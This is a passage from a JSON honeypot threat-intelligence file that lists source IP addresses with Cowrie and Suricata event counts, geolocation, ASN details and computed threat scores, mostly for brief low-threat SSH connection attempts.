      "last_seen": "2026-05-29T08:06:59.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:05:53.286000+00:00",
        "last_seen_30d": "2026-05-29T08:08:04.627000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "101.109.225.193": {
      "attack_count": 2,
      "first_seen": "2026-05-19T16:08:14.487Z",
      "last_seen": "2026-05-19T16:08:26.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:08:14.487000+00:00",
        "last_seen_30d": "2026-05-19T16:09:35.494000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.151.60.80": {
      "attack_count": 2,
      "first_seen": "2026-05-09T13:36:00.202Z",
      "last_seen": "2026-05-09T13:36:13.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 150001,
      "as_org": "Sixty Four Networks Limited.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T13:36:00.202000+00:00",
        "last_seen_30d": "2026-05-09T13:37:16.753000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.74.194.27": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:28:05.503Z",
      "last_seen": "2026-05-12T19:28:18.014Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:28:05.503000+00:00",
        "last_seen_30d": "2026-05-12T19:29:24.341000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.205.250.126": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:12:55.386Z",
      "last_seen": "2026-05-04T15:13:07.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:12:55.386000+00:00",
        "last_seen_30d": "2026-05-04T15:14:14.593000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.229.166.87": {
      "attack_count": 2,
      "first_seen": "2026-05-08T20:20:45.559Z",
      "last_seen": "2026-05-08T20:20:57.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T20:20:45.559000+00:00",
        "last_seen_30d": "2026-05-08T20:22:01.923000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.53.39.44": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:30:16.055Z",
      "last_seen": "2026-05-02T03:30:28.349Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jung-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:30:16.055000+00:00",
        "last_seen_30d": "2026-05-02T03:31:35.979000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.72.31.12": {
      "attack_count": 2,
      "first_seen": "2026-05-04T04:54:48.891Z",
      "last_seen": "2026-05-04T04:55:01.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Campana",
      "asn": 52339,
      "as_org": "Lima Video Cable S.A. Cabletel",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:54:48.891000+00:00",
        "last_seen_30d": "2026-05-04T04:56:06.548000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.248.80.31": {
      "attack_count": 2,
      "first_seen": "2026-05-09T14:20:36.728Z",
      "last_seen": "2026-05-09T14:20:38.211Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22295,
      "as_org": "Advin Services LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 7.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 9,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T20:27:43.031000+00:00",
        "last_seen_30d": "2026-05-12T08:59:49.620000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 2,
        "Honeyaml": 1
      }
    },
    "152.57.13.7": {
      "attack_count": 2,
      "first_seen": "2026-05-07T09:18:20.956Z",
      "last_seen": "2026-05-07T09:18:35.308Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T09:18:20.956000+00:00",
        "last_seen_30d": "2026-05-07T09:19:41.826000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.80.71.4": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:25:29.688Z",
      "last_seen": "2026-05-07T10:25:42.678Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Teres\u00f3polis",
      "asn": 263905,
      "as_org": "New Group Telecomunicacoes LTDA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:25:29.688000+00:00",
        "last_seen_30d": "2026-05-07T10:26:47.820000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.73.186.196": {
      "attack_count": 2,
      "first_seen": "2026-05-05T10:49:18.122Z",
      "last_seen": "2026-05-05T10:49:30.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Videira",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:49:18.122000+00:00",
        "last_seen_30d": "2026-05-05T10:50:38.170000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.189.81.2": {
      "attack_count": 2,
      "first_seen": "2026-05-10T16:56:17.875Z",
      "last_seen": "2026-05-10T16:56:30.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeongsan-si",
      "asn": 9770,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:56:17.875000+00:00",
        "last_seen_30d": "2026-05-10T16:57:33.739000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.121.70.125": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:43:25.679Z",
      "last_seen": "2026-05-10T13:43:38.239Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Encarnaci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:43:25.679000+00:00",
        "last_seen_30d": "2026-05-10T13:45:24.296000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.17.187.166": {
      "attack_count": 2,
      "first_seen": "2026-05-19T01:04:02.748Z",
      "last_seen": "2026-05-19T01:04:15.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:04:02.748000+00:00",
        "last_seen_30d": "2026-05-19T01:05:20.705000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.237.159.155": {
      "attack_count": 2,
      "first_seen": "2026-05-31T01:19:38.295Z",
      "last_seen": "2026-05-31T01:19:51.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Londrina",
      "asn": 263553,
      "as_org": "GIGANET SERVICOS DE INTERNET -LTDA",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T01:19:38.295000+00:00",
        "last_seen_30d": "2026-05-31T01:20:59.672000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.158.9.106": {
      "attack_count": 2,
      "first_seen": "2026-05-11T14:50:49.968Z",
      "last_seen": "2026-05-11T14:52:49.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:50:49.968000+00:00",
        "last_seen_30d": "2026-05-11T14:54:24.253000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "202.55.188.91": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:46:09.461Z",
      "last_seen": "2026-05-15T04:46:22.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mongolia",
      "country_code": "MN",
      "city": "Ulan Bator",
      "asn": 10219,
      "as_org": "Skymedia Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:46:09.461000+00:00",
        "last_seen_30d": "2026-05-15T04:47:29.323000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "204.157.178.101": {
      "attack_count": 2,
      "first_seen": "2026-05-14T06:26:49.162Z",
      "last_seen": "2026-05-14T06:28:49.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 211908,
      "as_org": "Horizon Scope Mobile Telecom WLL",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T06:25:38.935000+00:00",
        "last_seen_30d": "2026-05-14T06:38:59.207000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 2
      }
    },
    "213.109.226.18": {
      "attack_count": 2,
      "first_seen": "2026-05-17T08:05:09.164Z",
      "last_seen": "2026-05-17T08:05:40.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Ivano-Frankivsk",
      "asn": 47702,
      "as_org": "Teleradiocompany Discovery Ltd.",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:05:09.164000+00:00",
        "last_seen_30d": "2026-05-17T08:06:47.235000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "220.176.166.81": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:55:03.515Z",
      "last_seen": "2026-05-26T00:55:15.484Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T00:55:03.515000+00:00",
        "last_seen_30d": "2026-05-26T00:56:16.335000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "35.149.12.90": {
      "attack_count": 2,
      "first_seen": "2026-05-16T23:18:44.117Z",
      "last_seen": "2026-05-16T23:18:47.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hesperia",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T11:51:13.582000+00:00",
        "last_seen_30d": "2026-05-20T21:23:41.928000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "36.250.93.27": {
      "attack_count": 2,
      "first_seen": "2026-05-30T05:02:06.198Z",
      "last_seen": "2026-05-30T05:02:36.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T05:02:06.198000+00:00",
        "last_seen_30d": "2026-05-30T05:03:42.484000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "36.88.164.114": {
      "attack_count": 2,
      "first_seen": "2026-05-05T10:29:12.178Z",
      "last_seen": "2026-05-05T10:29:25.591Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "North Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:29:12.178000+00:00",
        "last_seen_30d": "2026-05-05T10:30:26.850000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.253.107.185": {
      "attack_count": 2,
      "first_seen": "2026-05-09T01:35:19.385Z",
      "last_seen": "2026-05-09T01:35:31.668Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Rosh Ha\u2018Ayin",
      "asn": 8948,
      "as_org": "099 Primo Communications Ltd",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:35:19.385000+00:00",
        "last_seen_30d": "2026-05-09T01:36:38.617000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.3.186.3": {
      "attack_count": 2,
      "first_seen": "2026-05-16T21:14:31.133Z",
      "last_seen": "2026-05-16T21:14:44.945Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Benevides",
      "asn": 273599,
      "as_org": "H2A TELECOM",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T21:14:31.133000+00:00",
        "last_seen_30d": "2026-05-16T21:15:48.590000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.52.141.14": {
      "attack_count": 2,
      "first_seen": "2026-05-19T22:29:01.242Z",
      "last_seen": "2026-05-19T22:29:14.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Porlamar",
      "asn": 264837,
      "as_org": "CORPORACION VISUAL NUEVA ESPARTA, C.A",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:29:01.242000+00:00",
        "last_seen_30d": "2026-05-19T22:30:17.297000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.118.158.73": {
      "attack_count": 2,
      "first_seen": "2026-05-11T06:30:21.390Z",
      "last_seen": "2026-05-11T06:30:34.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:30:21.390000+00:00",
        "last_seen_30d": "2026-05-11T06:31:44.138000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.233.38.152": {
      "attack_count": 2,
      "first_seen": "2026-05-05T10:55:40.441Z",
      "last_seen": "2026-05-05T10:55:53.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "City of Saint Peters",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
